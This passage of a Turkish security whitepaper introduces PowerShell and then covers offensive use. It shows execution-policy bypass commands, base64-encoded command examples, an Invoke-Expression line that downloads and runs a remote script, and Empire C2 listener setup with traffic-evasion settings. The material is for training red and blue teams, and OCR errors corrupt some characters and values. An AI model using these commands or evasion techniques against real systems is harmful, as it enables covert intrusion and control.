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Ofansif ve Defansif PowerShell

Hakkinda

BGA Bilgi Guvenligi A.S. 2008 yilindan bu yana siber guvenlik alaninda faaliyet gostermektedir.
Ulkemizdeki bilgi gvenligi sektoriine profesyonel anlamda destek olmak amaci ile kurulan BGA
Bilgi Guvenligi A.S., stratejik siber giuvenlik danismanhg ve glvenlik egitimleri konularinda
kurumlara hizmet vermektedir.

Uluslararasi gecerlilige sahip sertifikal 50 kisilik teknik ekibi ile faaliyetlerini Ankara ve istanbul ve
USA'da sUrduren BGA Bilgi Guivenligi A.S.'nin ilgi alanlarini Sizma Testleri, GUvenlik Denetimi, SOME,
SOC Danismanligl, Acik Kaynak Siber Guvenlik Coztmleri, BlyUk Veri Glvenlik Analizi ve Yeni Nesil
Guvenlik CozUmleri olusturmaktadir.

Gerceklestirdigi basarili danismanlik projeleri ve egitimlerle sektérde saygin bir yer edinen BGA
Bilgi Guvenligi A.S. kuruldugu ginden buglne alaninda lider finans, eneriji, telekom ve kamu
kuruluslarina 1.000'den fazla egitim ve danismanlik projeleri gerceklestirmistir.

BGA Bilgi Guvenligi, kuruldugu 2008 yilindan beri Ulkemizde bilgi glvenligi konusundaki bilgi ve
paylasimlarin artmasi amaci ile guvenlik e-posta listeleri olusturulmasi, seminerler, guvenlik
etkinlikleri dizenlenmesi, Universite 6grencilerine kariyer ve bilgi saglamak icin siber gtvenlik
kamplari dizenlenmesi ve sosyal sorumluluk projeleri gibi bircok konuda goénulli faaliyetlerde
bulunmustur.

Profesyonel is hayatina BGA Bilgi Guvenligi Akademisi A.S. sirketi binyesinde devam eden Halil
DALABASMAZ Certificated Ethical Hacker (C|EH), Offensive Security Certified Professional (OSCP),
Offensive Security Wireless Professional (OSWP), Offensive Security Certified Expert (OSCE) ve
elLearnSecurity Web application Penetration Tester (eWPT) sertifikalarina sahiptir. Halil
DALABASMAZ sirket blnyesinde Senior Penetration Tester olarak ve cesitli siber glvenlik alt
dallarinda verdigi egitimler ile gbrev almaktadir. Baslica ilgi alanlarini zafiyet arastirmasi, exploit
gelistirme, zararh yazilimlar ve bypass teknikleri olusturmaktadir. Bunun yani sira Universitelerde
konferanslara katilmakta ve siber glvenlik sektdrine ait paylasimlari BGA Security Blog ile

artofpwn.com, kisisel internet sitesi Gzerinden paylasmaktadir.
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Ofansif ve Defansif PowerShell

Giris

PowerShell adindan da anlasilabilecegi Uzere guclu bir shelldir. Sistem ydneticilerinin islerini ve
sistemdeki hakimiyetlerini kolaylastirmak amaciyla gelistirilmistir. Asagidaki grafikte de
gorulebilecegi Uzere PowerShell GitHub Uzerinde en ¢ok kullanilan dillerden biridir. Bu sekilde
populer olan bir dil sistem yoneticileri tarafindan populer olsa da glcli olmasi sebebiyle ofansif
tarafin da dikkatini ayni oranda cekmistir. PowerShell'in bircok siber saldirida yogun olarak
kullanilmasi bunu dogrular niteliktedir. Ofansif tarafin dikkatini ¢ekmesi ve yogun olarak
kullanmasi demek eninde sonunda defansif tarafin da dikkatini cekecegi ve Uzerine yogunlasacagi
demektir.
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Sekil 1 - GitHub Uzerinde Kullanilan Dil Yogunlugu

Bu yazi hem ofansif (Pentest, Red Team) taraftakiler hem de defansif (Blue Team, SOC Team)
taraftakiler icin kaynak olmasi amaciyla hazirlanmistir ve konulara muUmkin mertebe
derinlemesine deginilmeye calisilmistir. Yazi boyunca PowerShell'e giris, temel saldir altyapisi
PowerShell olarak bir sisteme nasil saldiri dizenlenir ve engeller nasil atlatilir ardindan temel saldiri
altyapisi PowerShell oldugu zaman PowerShell'deki aktiviteler nasil izlenmeli ve sistem nasil
korunmali gibi sorulara cevap olmasi hedeflenmistir.
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1. PowerShell

PowerShell (Windows PowerShell, PowerShell Core), Microsoft tarafindan Windows isletim
sisteminde Command Prompt'a (cmd.exe) ve Windows Script Host'a alternatif olarak gelistirilen
ileri seviye komut satiri uygulamasidir. Microsoft, PowerShell'i yonetim islerini kolaylastirma ve
sorunlart hizlica ¢ézmek adina gelistirmistir. Sistem yoneticilerinin islerini ciddi anlamda
kolaylastirmaktadir ve sistem yoneticileri hem yerel hem de uzak ortamlarda bulunan sistemlere
PowerShell Gzerinden rahatlikla erisebilmekte ve islerini gerceklestirebilmektedir.

Ornegin bir sistem yoneticisi sadece PowerShell'i kullanarak hi¢ grafik ara yiizina kullanmadan
Active Directory Uzerinde hemen hemen her seyi gerceklestirebilir. Sistem yoneticileri islemlerini
kendi gelistirdigi PowerShell Scriptileri ile dzellestirebilecegi gibi Cmdlet adi verilen Verb-Noun
isimlendirme desenine sahip varsayllan olarak gelen spesifik komutlari da kullanarak
gerceklestirebilir.

PowerShell sistem fonksiyonlarina tam erisim kabiliyetine sahiptir. Yani WMI ve COM objeleri ile
istenilen hemen hemen her sey yapilabilir. Bununla beraber .NET Framework'e de tam erisim
saglanabilir. ilerleyen zamanlarda PowerShell geleneksel Command Prompt'un yerine gececek ve
varsayllan Windows terminal ara yuzu olacaktir. 2016 yilinda kaynak kodlari agilan PowerShell,
Windows isletim sistemleri disinda Linux ve Mac OS X isletim sistemleri Uzerinde de kullanilabilir
olmustur.

ik versiyonu (PowerShell v1.0) 2006 yilinda Windows XP SP2, Windows Server 2003, Windows Vista
isletim sistemleri icin duyurulmustur ve bu isletim sistemlerinde PowerShell kullanabilmek icin
sonradan kurulum yapilmasi gerekmektedir. Vista ve Server 2008 sonrasindaki tum Windows
isletim sistemlerinde PowerShell kurulum ile beraber gelmektedir.

Asagidaki tablo da kurulum ile gelen PowerShell versiyonu ve desteklenen versiyon bilgileri

isletim Sistemi Kurulum ile Gelen Versiyon | Diger Desteklenen Versiyonlar
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1.1. Cmdlets

Cmdlet (Command-Let)ler Verb-Noun isimlendirme desenine sahip (Ornegin, Get-Service, Get-
Process gibi) varsayilan olarak gelen spesifik komutlardir ancak normal komutlardan farklilardir.
CUunkd Cmdlet'ler calistirilabilir dosyalar (standalone executable) degil, .NET Framework
Class'laridir.

Get-Process Cmdlet

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> Get-Process

Handles NPM(K) PM(K) WS (K) CPU(s) Id SI ProcessName
232 13 3760 15864 0,09 1376 1 conhost
228 12 3756 15344 0,55 3108 1 conhost
227 13 3800 17480 0,06 4600 1 conhost
232 12 3756 14796 0,48 4880 1 conhost
388 12 1492 3588 580 @ csrss
296 15 1556 3748 660 1 csrss

PowerShell icerisindeki Cmdletlerin neler oldugunu gérmek veya istenilen herhangi bir Cmdlet
aranmak isteniliyorsa Get-Command Cmdlet'i kullanilarak bu islem gerceklestirilebilir. Asagida 6rnek
olarak Cmdlet'lerin isiminde “Process” gecenlerin listelenmesi saglanmistir.

2 Windows PowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> Get-Command Process

CommandType Name Version Source

Cmdlet Debug-Process .1.0. Microsoft.PowerShell.Management
Cmdlet Get-Process b Microsoft.PowerShell.Management
Cmdlet Start-Process 3.1.0. Microsoft.PowerShell.Management
Cmdlet Stop-Process c22 05 Microsoft.PowerShell.Management
Cmdlet Wait-Process 23100 Microsoft.PowerShell.Management

PS C:\Users\hlldz>

Sekil 2 - Get-Command Cmdlet

1.2. Pipeline

isletim sistemlerinde bir uygulamanin ciktisini baska bir uygulamanin girdisi olacak sekilde, ilgili
akisin yorumlanip iletiimesi islemine Pipeline denilmektedir ve PowerShell'de Pipeline’i destekler.
Boylece PowerShell; tek bir kod satiri ile birden ¢ok 6ge Uzerinde ya da binlerce 6genin belirli bir
alt kimesinde kolaylkla degisiklikler yapmaniza veya bu nesneleri veri toplamak ya da diger ilgili
nesneler Uzerinde eylemler gerceklestirmek amaciyla kullanmaniza olanak tanir.
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2. Windows PowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> Get-Process | Select-Object Id,ProcessName
ProcessName

audiodg

conhost

conhost

conhost

CSrss

csrss

dllhost

dwm

explorer
fontdrvhost
fontdrvhost
GoogleUpdate

Idle

lsass
ManagementAgentHost
Memory Compression
MSASCuil

msdtc

MsMpEng

Sekil 3 - Pipeling

1.3. Remoting

PowerShell v2 ile gelen Remoting 6zelligi sistem ydneticilerinin merkezi bir noktadan diger
sistemlere PowerShell Gzerinden erismelerine ve yonetebilmelerine olanak saglar. PowerShell v3
ile Remoting 6zelligi yenilenmis ve daha da gelistirilmistir. Bu 6zellik sadece Windows sistemleri
degil Linux ve Mac OS X isletim sistemlerini de kapsar. PowerShell agik kaynak olduktan sonra ilgili
isletim sistemlerine de kullanilabilir olmustur.

Ornegin uzak sistemdeki PowerShell'e erismek, komut calistirmak ya da herhangi bir PowerShell
scripti calistirmak isteniliyor. Bunun yapilabilmesi icin ilk akla gelen ¢6zimlerden birisi Uzak
MasaUsti Baglantisi (RDP) yapip ardindan uzak sistemin PowerShell'ine erisip istenilenin
gerceklestirilmesi olabilir. Ancak PowerShell Remoting ile buna gerek kalmamaktadir. Bunun igin
kendi yerel sisteminizdeki PowerShell'e erisim sagliyor olmaniz ve uzak sistemde de bulunan
PowerShell'de Remoting 6zelliginin aktif olmasi yeterlidir. Tipki uzak sistemlere SSH baglantisi
gerceklestirip terminal ara yUzlerine erisim saglanmasi gibi.

BGA Security | www.bgasecurity.com
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PowerShell'in  Remoting 0&zelligi yerel sistemde calistirabildiginiz komut ve scriptleri uzak
sistemlerde de calistirmaniza olanak saglamaktadir. PowerShell icerisindeki bir¢ok Cmdlet'de de
bu sekilde uzak sistemlerde calismak veya sonuclarini alabilmek gibi ek 6zellikler vardir. Ancak her
bir Cmdlet icin bu 6zelligi saglamak yerine Microsoft Remoting ile PowerShell Uzerinden ortak
iletisim altyapisi gelistirerek tum altyapiya erisip islem yapmaniza olanak saglamistir.

1.3.1.Etkinlestirme

Remoting Ozelligini varsayilan olarak agik gelmeyen herhangi bir isletim sisteminde aktif hale
getirmek icin Enable-PSRemoting Cmdlet'i kullanilabilir. Cmdlet -Force parametresi ile
calistirildiginda herhangi bir onay almadan Remoting servisi direkt olarak aktif hale getirilecek ve
gerekli ayarlar yapilacaktir. Cmdlet -Force parametresi olmadan kullanildiginda yapilacak islemler
icin onay sorulacaktir. islemler sirasiyla, WinRM servisinin baslatiimasi ve baslangicla beraber
otomatik calisacak sekilde ayarlanmasi, Listener ayarlanmasi ve herhangi bir IP adresinden gelecek
baglantilarin dinlenmeye baslanmasi, Remoting ile ilgili portlar icin Firewall kurallari isletilmesi
seklindedir.

1.3.2.Nasil Calisiyor

Asagida Sekilde 4'te PowerShell Remoting o6zelliginin calisma altyapisi sematize edilmeye
calisilmistir. istemci 1 isimli sistem istemci 2 isimli sisteme PowerShellin Remoting &zelligi
Uzerinden baglanmaya calismaktadir.

s N 4 )

WSMan WinRM Servisi
(HTTP) (HTTP Listener)

Q powershell.exe @

istemci 1 / \ istemci 2 /

Sekil 4 - PowerShell Remoting
1. Istemci 1 sistemi kendi Gzerindeki WSMan (Web Services for Management) servisi ile iletisime
gecmektedir. WSMan bircok baska protokolU kapsulleme kabiliyetine sahip HTTP(S) tabanli bir

>

powershell.exe

BGA Security | www.bgasecurity.com
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protokoldur. Remoting 6zelligi varsayillan olarak HTTP protokolint kullanir ancak HTTPS
protokolUnu kullanmasi saglarak kolayca baglanti sifrelenebilir.

istemci 2 sisteminde ise WinRM Servisi ¢calismaktadir. Bu servis bir veya birden fazla Listener'a
sahip olabilir ve her bir Listener belirli bir protokolden (HTTP veya HTTPS), belirli bir IP adresi
ve belirli bir port numarasi icin WSMan trafigi bekler. WinRM servisi tarafindan olusturulan
Listenerlardan birisi bir trafik aldigi zaman ilgili trafigin ne icin olduguna bakar. Burada
PowerShell'den séz ediyoruz ve istemci 2'nin sisteminde PowerShell oturumu baslayacaktir.

N

Sekil 4'te istemci 2'nin sisteminde powershell.exe processi basliyormus gézikiyor ancak bu
sadece kolayca anlasiimasi icin yapilmistir. Normal sartlarda powershell.exe degil
wsmprovhost.exe isimli process baslayacaktir.

1.4. Execution Policy

Execution Policy, PowerShell'in icin hangi kosullarda nasil calismasi gerektigini belirleyen
politikalardir. Execution Policy yerel sistem, herhangi bir kullanici veya herhangi bir PowerShell
oturumu icin ayarlanabilir. Ayrica kullanicilar veya sistemler icin bu ayarlama Group Policy
Uzerinden de yapilabilir. PowerShell'deki varsayilan Execution Policy seviyeleri asagidaki tabloda

isletim Sistemi Varsayilan Execution Policy Seviyesi

<
0]
.
3.
W
[
-

Execution Policy bilinenin aksine bir guvenlik dnlemi degildir ve kolayca atlatilabilir. Sadece
kullanicilarin kazara calistiracaklari scriptlerin yol agacagi zarari 6nlemek icin gelistirilmistir.

Restricted, en guvenilir kabul edilen politikadir ¢tiinkl sadece interaktif PowerShell erisimine
muUsaade eder. Yani komutlari sadece tek tek calistirabileceginiz anlamina gelir. Bu politikada
scriptlerinin nereden geldigi (yerel ag Uzerinden veya internet Uzerinden), imzalanmis olup
olmamalari gibi konular ile ilgilenilmez ve herhangi bir scriptin ¢alistirilmasina izin verilmez.

AllSigned, bu politikada PowerShell Uzerinde sadece guvenilir otoriteler tarafindan imzalanmis
scriptlere izin verilir. Ayrica imzalanmis bir script ¢alistinldiginda onay istenir.

BGA Security | www.bgasecurity.com
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RemoteSigned, bu politikada yerel sistemde olan scriptler calistirilabilir ancak internet tGzerinden
indirilen scriptler icin guvenilir otoriteler tarafindan imzalanmis olmasi gerekir. Ayrica scriptler
calistirilirken herhangi bir onay alma gereksinimi duyulmaz.

Unrestricted, bu politikada herhangi bir kisit olmadan istenilen her bir script imza durumlarina
bakilmaksizin ¢alistirilr. Sadece script internet Uzerinden indirildiyse uyari ¢ikacaktir.

Bypass, bu politikada ne bir kisit ne bir uyari ne de bir onay mekanizmasi vardir. istenilen her bir
script calistinlabilir.

Undefined, gecerli kapsamda belirlenmis herhangi bir Execution Policy atanmadigi durumdur. Eger
belirtilen kapsamlar icin herhangi bir Execution Policy atanmamis ise varsayilan olarak Restriced
politikasi atanacaktir.

PowerShell Uzerinde Execution Policy seviyesini 68renmek icin Get-ExecutionPolicy Cmdlet'i
kullanilabilir. Execution Policy'i degistirmek icin Administrator haklarinda baslatiimis PowerShell
oturumunda, Set-ExecutionPolicy <Policy Adi> seklinde ilgili Cmdlet calistirilabilir. Ayni
zamanda Execution Policy'i degistirmek icin herhangi bir ekstra yetkiye ihtiyag duymadan yeni bir
PowerShell oturumu baslatirken -ExecutionPolicy parametresi kullanilabilir. Parametreye deger
olarak hangi seviye isteniliyorsa verilebilir, baslayacak yeni PowerShell oturumu icin Execution
Policy istenilen sekilde ayarlanmis olacaktir. ilgili islem asagidaki ekran gérintisiunde verilmistir.

| B Windows PowerShell

Windows PowersShell
Copyright (C) 2816 Microsoft Corporation. All rights reserved.

esktop> Get-ExecutionPolicy

s\hlldz\Desktop> .\policy.psl

ers\hlldz\Desktop> powershell Bypass
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

Sekil 5 - Execution Policy
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2. Ofansif PowerShell

PowerShell nasil ki sistem yoneticilerine ciddi anlamda yarar sagliyorsa dogru sekilde
kullanildiginda ayni yarari ofansif taraftakiler de elde edebilir. Ofansif tarafta bulunanlarin
PowerShell kullanmalari icin bircok neden siralanabilir. Bu nedenleri kisaca siralayacak olursak;

R/

% Vista ve Server 2008 sonrasi tim Windows isletim sistemlerinde kurulum ile beraber
gelmektedir.

Diske dokunmadan hafizada (Memory) kod calistirilabilir.

Anti-Forensic dostudur, normal sartlarda hedef Uzerinde ¢ok az iz birakir.

PowerShell Remoting'in aktif oldugu sistemlere direkt olarak sifreli trafik Gzerinden erisim
saglanabilir.

% PowerShell bir scripting dili oldugu i¢cin Obfuscation (Karmasiklastirma) kolayligl saglar ve
¢ogu guvenlik arinune karsi tespit edilme konusunda bagisikhgi vardir.

7
o

5

%

5

%

% Sistemler sikilastirilirken PowerShell genelde goz ardi edilir.

% Topluluk sayesinde bircok acgik kaynak, kolayca erisebilir ve buyuk isler basaran projeler
vardir.

% powershell.exe'nin kendisi Signed ve Legal isletim sistemi processi oldugu icin cogu
Application Whitelisting Urunleri icin sikilastirmalar esnasinda goz ardi edilir.

% Low-level veya high-level hemen hemen istenilen her sey PowerShell ile yapilabilir. .NET
Framework'e ve Sistem Cagirilarina (WinAPI) tam erisim imkani vardir.

% PowerShell normal sartlarda, isletim sisteminde komut calistirilabilmesine olanak

saglayacak herhangi bir dil ve o dil kullanarak olusturulmus dosyalar Uzerinden ¢agirilabilir,

islem yapilabilir. Ornegin, .BAT, .DOC, .XLS, .PPT, .HTA, .EXE, .DLL vs.

Yukaridaki nedenlerden dolayl saldirganlar, pentesterlar ve red teamler tarafindan PowerShell
siklikla kullaniimaktadir. ilerleyen bélumlerin, PowerShell saldir altyapisi olarak nasil kullaniimali
ve nelere dikkat edilmeli sorularina cevap olmasi hedeflenmistir.

2.1. Execution Policy

PowerShell'de Execution Policy'nin ne oldugu hakkinda detayli bilgi Ust kisimda verilmistir ancak
Execution Policy bir glivenlik dnlemi olmamasina ragmen varsayilan ayarda ¢ogu sistemde script
cahstinimasini kisittamaktadir. Bu engel bir¢ok farkh yol ile asilabilir ve bu bélimde birkag
tanesinden bahsedilmistir.

ExecutionPolicy parametresinin degerine, Bypass degeri verilerek Execution Policy asilabilir ve
bunun icin herhangi bir yetkiye ihtiya¢ yoktur. Boylece yeni baslayan oturum Gzerinde rahatlikla
calisilabilir. Ayrica File parametresine verilecek scriptin dizin yolu ile de Execution Policy asilarak,
direkt scriptin ¢ahstirilmasi saglanabilir.

ExecutionPolicy Parametresiyle

powershell -ExecutionPolicy Bypass
powershell -exec bypass

powershell -ExecutionPolicy Bypass -File C:\dizin\script.psl

BGA Security | www.bgasecurity.com
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Invoke-Expression Cmdlet'i ile PowerShell komut veya kodlari calistirilabilir, disk Gzerinden veya ag
Uzerinden erisilen bir script Execution Policy'e takilmadan bdylece calistirilabilir. Asagida ug farkl
yontem ile disk Uzerindeki scriptin nasil calistirilacagi ve devaminda ag Uzerinden erisilen scriptin
nasil calistirilacagina ait érnekler verilmistir.

Invoke-Expression Ile Disk Uzerinden Script Calistirma

Invoke-Expression -Command "C:\dizin\script.psl"

"C:\dizin\script.ps1" | Invoke-Expression

Invoke-Expression Ile A§ Uzerinden Erisilen Scripti Calistirma

Invoke-Expression (New-Object Net.WebClient).DownloadString( 'http://ip-
Domain/script')

EncodeCommand parametresine deger olarak calistirilacak komut veya kodlarin Base64 ile encode
edilmis hali verilebilir. Bu sekilde PowerShell cagirnldiginda komut veya kod decode edilecektir ve
cahistinlacaktir.

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes("KOMUT"))
komutu ile PowerShell komutlari Base64 ile encode edilebilir.

EncodedCommand Parametresiyle

powershell -e RwB1AHQALQBQAHIAbwBJjAGUAcCwBzAA==
powershell -enc RwB1AHQALQBQAHIAbwBjAGUACwBzAA==

powershell -EncodedCommand RwB1AHQALQBQAHIAbwBjAGUACwBzAA==

2.2. Empire

Empire, hedef tarafta PowerShell altyapisini kullanan bir Post-Exploitation araci ve RAT1r.
Empire’in sunucu tarafi Python ile gelistirilmistir. Kullandigi payloadlar ise PowerShell ve Python
dili kullanilarak gelistirilmistir. Yazi icerisinde bazi noktalarda Empire Meterpreter ile
karsilastirilmistir. Ancak Empire Meterpreterin alternatifi veya yerine konulabilecek bir proje
degildir, tamamen farkli alanlarda projelerdir. Birbirlerinden ayri olmalarina ragmen
karsilastiriimasinin sebebi Meterpreter'in yaygin kullanimi ve bazi 6zelliklerinin Empire ile ayni
amaca hizmet etmesindendir.

Empire hali hazirda bir Windows sisteme sizildiktan sonra ihtiya¢ duyulan ve kimi zaman ihtiyactan
fazlasini gerceklestirecek bir ¢ok araci, modul olarak icerisinde barindirir. Empire payloadlari bircok
farkl isletim sisteminde calisabilir, basta Windows olmak Uzere Linux ve Mac OS X isletim
sistemlerinde kullanilabilir. Windows isletim sistemi igin gelistirilen her bir modul PowerShell diger
isletim sistemleri icin gelistirilen moduller Python tabanlidir. Empire sifreli trafik ile hedef sistem ile
sunucunun arasindaki iletisimin guvenligini arttirir. Asagida Empire'in ¢alisma yapisi yukaridan
asaglya olacak sekilde adim adim sematize edilmeye calisiimistir.
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Empire Stager'i Hedefe Génderilir

- ( ~ Stager ilk Baglantiy Kurar 1
Agent Hedefe Gonderilir
s Oturum Agilir
unucu < Hedef
(Empire)
Gérev Gonderilir (Orn. Mimikatz)
Sonuglar Génderilir

& /

Sekil 6 - Empire Calisma Yapisi

Empire’l kullanabilmek icin 6ncelikle Listener ayarlanmalidir. Empire’da 6nce Listener olusturulur
ardindan olusturulan Listener i¢in Stager olusturulur. Alisilanin aksine 6nce payload olusturulup
olusturulan payloada gdre dinleme moduna gecilmez.

2.2.1.Listener

Empire her zaman reverse (ters) baglanti kabul eder ve temelde Reverse HTTP(S) baglanti
yéntemini kullanir. Ayni zamanda Dropbox komut-kontrol merkezi olarak da kullanilabilir, yine
Empire bu konuda da bircok ¢esitliligi sunmaktadir. Asagida Empire icerisinde olusturulabilecek
Listener listesi ve agiklamalari verilmistir.

(Empire: ) >

(Empire: ) > uselistener
dbx http http_com http_foreign http_hop meterpreter

dbx, Dropbox altyapisi kullanilir ve Agent'lar Dropbox ile iletisime gecer bdylece Dropbox komuta
kontrol merkezi olarak kullanilmis olur.

http, iletisim icin HTTP(S) protokolU kullanilir, Reverse HTTP(S).

http_com, iletisim icin Net.WebClient yerine iletisim kurmak icin gizli Internet Explorer COM
nesnelerini kullanir.

http_foreign, birden fazla komuta kontrol merkezi ile calisildigi durumlarda gelen oturumlarin
aktarilmasini icin kullanihr.

http_hop, Metasploit icerisindeki Reverse Hop HTTP payloadi gibi ¢alisir ve olusturulan Listener'a
gelen baglantilar baska bir Listener'a génderilmek icin kullanilir.

meterpreter, hali hazirda erisim kuran Agentlar Gzerinden meterpreter/reverse_http veya
meterpreter/reverse_https payloadlarina ait shellcodelar enjekte etmek icin kullanilir.

Eger bir RAT gelistiriyor veya kullaniyorsaniz temelde dikkat edilmesi gereken birka¢ konu vardir.
Bunlardan ilki iletisimdir. Hedef sistemde calisacak olan payload guvenli sekilde iletisim
kurabilmedir. iletisim glvenligini ikiye ayirabiliriz. Birincisi iletisim igin olusan trafigin, dikkat
cekmemek icin hedef sistemdeki diger trafiklere benzerlik saglayabilme kabiliyetidir. Ornek olarak
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Raw TCP soketleri Gzerinden iletisim kurulmamasi, bunun yerine HTTP protokolinun kullaniimasi
verilebilir. ikincisi ise acik (sifrelenmeyen) protokoller kullanilsa bile trafigin sifrelenebilme
kabiliyetidir.

Empire bu iki konuda da oldukca basarilidir. Direkt olarak Reverse HTTP baglanti sekli secilse bile
trafik icerisindeki veriler sifrelenir. Empire'da hangi Listener tUrinu kullanilirsa kullanilsin trafik
sifrelenir, bdylece trafik incelendigi zaman tam olarak ne tur verilerin aktarildigini ¢6zmek ciddi
oranda zorlasir. Ayrica bu durum trafik icin imza yazilmasini da hayli zorlastirmaktadir. Ornegin
Meterpreter'a bakildigi zaman ¢ogu payload turinde trafik acik olarak akmaktadir. Yazi icin HTTP
Listener olusturulmustur ve asagida ayarlarina ait ekran gérintusu verilmistir.

(Empire: ) > info
Name: HTTP[S]
Category: client_server

Authors:
@harmjoy

Description:
Starts a http[s] listener (PowerShell or Python) that uses a
GET/POST approach.

HTTP[S] Options:

Name Required Description

KillDate

Name http

Launcher powershell -noP -sta -w 1 -enc
DefaultLostLimit 60

StagingKey
BindIP
DefaultProfile

Date for the listener to exit (MM/dd/yyyy).
Name for the listener.

Launcher string.

Number of missed checkins before exiting
Q[9Z”yoJ1vc74gb; zr#s5!+H3IK~Yxj@ Staging key for initial agent negotiation.
0.0.0.0 The IP to bind to on the control server.
/admin/get.php,/news.php,/login/ Default communication profile for the agent.
process.php|Mozilla/5.0 (Windows

NT 6.1; WOW64; Trident/7.0;

rv:11.0) like Gecko

ServerVersion
WorkingHours
Host

CertPath

Microsoft-IIS/7.5

http://172.16.186.179:80

Server header for the control server.

Hours for the agent to operate (09:00-17:00).
Hostname/IP for staging.

Certificate path for https listeners.

DefaultJitter 0.0
DefaultDelay 5
Port 80

Jitter in agent reachback interval (0.0-1.0).
Agent delay/reach back interval (in seconds).
Port for the listener.

(Empire:

Sekil 7 - Empire HTTP Listener

Empire iletisimi sifrelemede anahtar degisimi icin Encrypted Key Exchange (EKE)i kullanmaktadir.
Empire Stager'’ hedef sistemde calistiginda ve ilk baglantlyi kurdugunda komut kontrol
merkezindeki (Empire’in kurulum dizininde bulunan) stager.ps1 scripti, ilgili Listener ayarlarina
gore duzenlenip hedefe gonderilir. stager.ps1 Listener ayarlanirken atanan StagingKey degeri
AES anahtari olacak sekilde case-randomized XOR algoritmasi ile sifrelenir. Bylece her bir Agent
icin anahtar degisiminde rastgele ve farkli degerler Uretilmis olur. ilgili deger olan StagingKey
degeri baslatici (Launcher, hedefte calistirilan payload) icerisinde gdnderilir. Hedefte calisan Stager
rastgele RSA private ve public anahtarlarini hedefin hafizasinda (Memory) olusturur. StagingKey
degerini kullanip, AES ile sifreleyip RSA public anahtarini komuta kontrol merkezine génderir. Bu
noktada sunucu tarafinda on iki karakter uzunlugunda ve rastgele olan SESSIONID degeri Uretilir.
Bu noktada sunucu, zaman dilimini ve rastgele AES oturum anahtarini Agent'in public anahtarini
kullanilarak sifreleyip, Agent'a génderilir.

Agent gelen veriyi acip, calistigl sistem hakkinda temel (Yerel IP Adres, Hostname, Aktif Sistem
Kullanicisi, PID vb.) bilgileri yeni AES oturum anahtarini kullanarak sifreler ve komuta kontrol
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merkezine génderir. Son olarak komuta kontrol merkezi agent.ps1 scriptini dizenleyip hedefe
gonderir ve artik Agent komuta kontrol merkezine olan ilk erisimini tamamlayip emirleri beklemeye
(Beaconing) baslar. Asagida anahtar degisimi ve ilk iletisimi iceren sema verilmistir.

Control Server Client
R 1. GET /<stage0>
. 2. return key negotiation stager.ps1 w/ shared AES 3 i
staging key %

3. gen priv/pub keys, post ENCstaging(PUB) to /<stage1>

A

. 4. return ENCpub(epoch + AES session key)

5. decrypt session key, post ENCsession(sysinfo) to /<stage2> i

6. return ENCsession(agent.ps1) patched with key/delay/etc.
and register agent. Agent starts beaconing. 5

Sekil 8 - Empire Sifreleme ve Staging Semasi

Empire’in trafik konusunda bagka dne cikan 6zellikleri vardir. Agentlarin iletisim kurarken belirli bir
gecikme (DefaultDelay parametresi) ile baglanti kurmasi saglanabilir. Bu trafigin dikkat ¢ekme
ihtimalini dusturmektedir. Ornegin Meterpretera bakildigl zaman bir kere oturum acildigl zaman
payload surekli olarak komut kontrol merkezi ile iletisim halindedir ve sadece baglanti oranlarina
bakildiginda bile trafik dikkat cekmektedir.

Ayni zamanda Empire icerisinde hedefte calisan Agent'in ne zaman aktif olacagl (WorkingHours)
ayarlanabilir. Ornegin, hedef kurum 09:00-17:00 saatleri arasinda calisiyorsa, Agentin bu saatler
disinda komuta kontrol merkezi ile baglanti kurmasini saglanabilir ve calisma ilgili saatler disinda
gerceklestirilebilir. Calisma saatleri disinda calismak, dikkat ¢ceken bir islem yapildiginda veya
alarmlar aktif oldugunda avantaj saglar. CunkU mesai saatleri disinda olusacak alarmlara hedef
tarafta mudahale cogunlukla gecikmeli gerceklesecektir. Cogu hedefte 7/24 calisan UrUnlerdir
insan faktori genelde, mesai saatlerindeyken gerceklesen olaylara dahil olur.

Agent'n komut kontrol merkezi ile iletisimine gecikme ekleyerek dikkat ¢ekme ihtimalini
dusurulebilir ancak baska avantajlari da Empire saglamaktadir. Listener ¢calismaya basladigi zaman
Agent HTTP(S) protokolu Gzerinden iletisim kuracaktir ve trafige bakildigi zaman bu Web Browsing
trafigi gibi gézikecektir. Burada 6nemli olan, Agent her seferinde ayni dizin ve dosyaya erismeye
calisirsa bu normal bir Web Browsing trafigi olarak gézikmeyecektir. Empire’da buna da midahale
edilebilir. Agent'in komuta kontrol merkezi ile iletisime gecerken hangi dizin ve dosyalara eriserek
(DefaultProfile) iletisime gececegine ve bu iletisim gerceklestirirken hangi User-Agent
(DefaultProfile) degerini kullanacagina karar verilebilir.
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Asagida ornek olarak Empire'in Agent'inin komuta kontrol merkezi ile olan trafigine ait ekran
gorintusu verilmistir ve ortalama bir saldiri esnasinda trafik bu sekilde gozikecektir.

empire.pcapng

File Edit View Go Capture Analyze Statistics Telephony \Wireless Tools Help

Am 2 ® RE ] &= ASIEQAaqH
[ [X] | Expression.. | +
No. Time Source Destination Protocol  Length Info
4 9.000690 172.16.186.180 172.16.186.179 HTTP 239 GET /admin/get.php HTTR/1.1
T 11 0.410230 172.16.186.179 172.16.186.180 HTTP 922 HTTP/1.@ 200 OK (text/html)
28 2.117617 172.16.186.180 172.16.186.179 HTTP 516 POST /login/process.php HTTP/1.1 P )
23 2.150296 172.16.186.179 172.16.186.180 HTTP 519 HTTP/1.@ 200 OK (text/html)
32 2.601858 172.16.186.180 172.16.186.179 HTTP 244 POST /login/process.php HTTP/1.1
61 2.624950 172.16.186.179 172.16.186.186 HTTP 467 HTTP/1.@8 200 OK (tEthhtml)
68 8.169786 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php ATTP/1.1
71 8.133111 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.© 200 OK (text/html)
78 13.177175 172.16.186.180 172.16,186.179 HTTP 263 GET /login{pru(ess‘php HTTP/1.1 4
81 13.197455 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.@ 20 0K (text/html)
28 18.241083 172.16.186.180 172.16.186.179 HTTP 35 GET /news.php RTTP/L.1
91 15.265200 172.16.186.179 172.16.186.180 HTTP 324 HTTP/1.0 280 OK (text/html)
